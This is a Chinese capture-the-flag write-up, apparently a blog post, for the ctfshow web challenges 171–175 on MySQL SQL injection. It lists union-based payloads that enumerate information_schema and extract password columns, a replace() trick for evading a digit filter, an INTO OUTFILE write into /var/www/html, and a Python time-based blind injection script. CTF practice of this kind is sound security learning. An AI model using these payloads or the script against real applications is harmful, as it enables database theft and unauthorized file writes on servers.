ctfhow——web入门171~175

sql简介

web入门171

——判断注入点:

-1' union select 1,2,3 --+

其实在这之前可以先判断多少列,即 -1‘ group(order) by 3 --+

group by用于将具有相同值的行分组成一个汇总行,可以查看是否报错确定列数

2,3列都有回显

——查询库名:

-1'union select 1,database(),3 --+

——查询表名:

1' union select 1,6,group_concat(table_name) from information_schema.tables where table_schema=database() --+(这里把查询位放在第二位查不出来)

GROUP_CONCAT 是 MySQL 中的一个聚合函数,它用于将属于同一组的字符串连接起来,形成一个单一的字符串

table_name就是表名

information_schema.tables 是 MySQL 数据库系统中的一个系统视图,属于 information_schema 数据库。这个数据库提供了对数据库元数据(即关于数据库的数据,如表、列、索引等的信息)的访问。tables 表(或视图)具体包含了当前用户可访问的所有数据库中的表的相关信息

phpstudy中mysql界面:

table_schema:就是库名

——查询列名:

1' union select 1,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

column_name:列名

——查询password:

-1' union select 1,6,group_concat(password) from ctfshow_user --+

发现flag

web入门172

这里有两个表,那我就先看第二个

首先1' order by 2 --+判断出有两位

找回显位:

库名:

表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

有两个表

列名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

两个都是这个

flag:

-1' union select 1,group_concat(password) from ctfshow_user2--+

web入门173

老样子,确定字段数

查回显

库:

表:-1' union select 4,5,group_concat(table_name) from information_schema.tables where table_schema=database() --+

列:

password:-1' union select group_concat(password) from ctfshow_user3--+

看了其他师傅的,发现这题是过滤了flag

即如果:-1' union select id,username,password from ctfshow_user3 where username='flag' -- +的话

无数据,所以我们直接:-1' union select 4,5,password from ctfshow_user3 where username='flag' -- +

web入门174

注:查看url的时候发现是3.php,其实是4.php,手动切换

这题使过滤了数字和flag

库名还是ctfshow_web

然后要查的话因该就有数字了,我们把数字做替换

因为flag的范围刚好是1~f,即16进制的范围,那我们就可以把1~0替换成A~J

查表名:

原:0' union select group_concat(table_name),database() from information_schema.tables where table_schema=database()--+

后:0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),database() from information_schema.tables where table_schema=database()--+

表为ctfshow——user4

查查列名呢

password:

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(password),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),database() from ctfshow_user4--+

然后替换就好了

tihuan = {
        'A': '1',
        'B': '2',
        'C': '3',
        'D': '4',
        'E': '5',
        'F': '6',
        'G': '7',
        'H': '8',
        'I': '9',
        'J': '0'
    }

text ="ctfshow{eFEcbfGC-GfGA-DcfA-bICa-DFBDaJCbFeDH}"

for i in text:
    if i in tihuan:
        print(tihuan[i],end='')
    else:
        print(i,end='')

web入门175

这题没看到回显位

试试时间盲注

经过测试发现:确实可以这么干

两种思路吧,

第一个:

是ngnix,在Liunx中/var/www/html是网站的默认文件位置,尝试直接写入文件

1' union select 1,database() into outfile'/var/www/html/1.txt'--+

访问1.txt

发现ok,那根据前几题的规律

1' union select 1,password from ctfshow_user5 where username='flag'into outfile'/var/www/html/2.txt'--+

或者我们可以利用时间盲注:

在1' and sleep(3)--+时

注意到出现

所以脚本上的url要写/api/v5.php,不能写原来网站的那个

(最好还要加上?page=1&limilt=10,不过没加也能出来)

脚本:

import requests
import string
 
url = 'http://74760dc9-88e6-40f9-8a05-1319d3b9e33a.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_-{}'#匹配的字典
out = ''
for j in range(1, 100):
    a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位
    for k in dic:
        # payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&" # 猜数据库名
        # payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+" #猜表名
        # payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+" #猜表名
        # payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+"  # 猜列名
        payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+"  # 猜flag
        
        #substr(string, start_position, length)
        #第二个参数为起始位置,第三个参数为长度
        #如果匹配成功,就sleep(3)
        
        # print(payload)
        re = requests.get(url, params=payload)
        time = re.elapsed.total_seconds()
        # print(f"{j}:{time}")
        if time > 2:
            print(k,end='')
            a = 0 #如果找到字符,则将标志位置0
            out += k
            break #继续遍历下一位
    if a == 1: #在进行下一次循环前,先判断当前字符是否找到
        break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值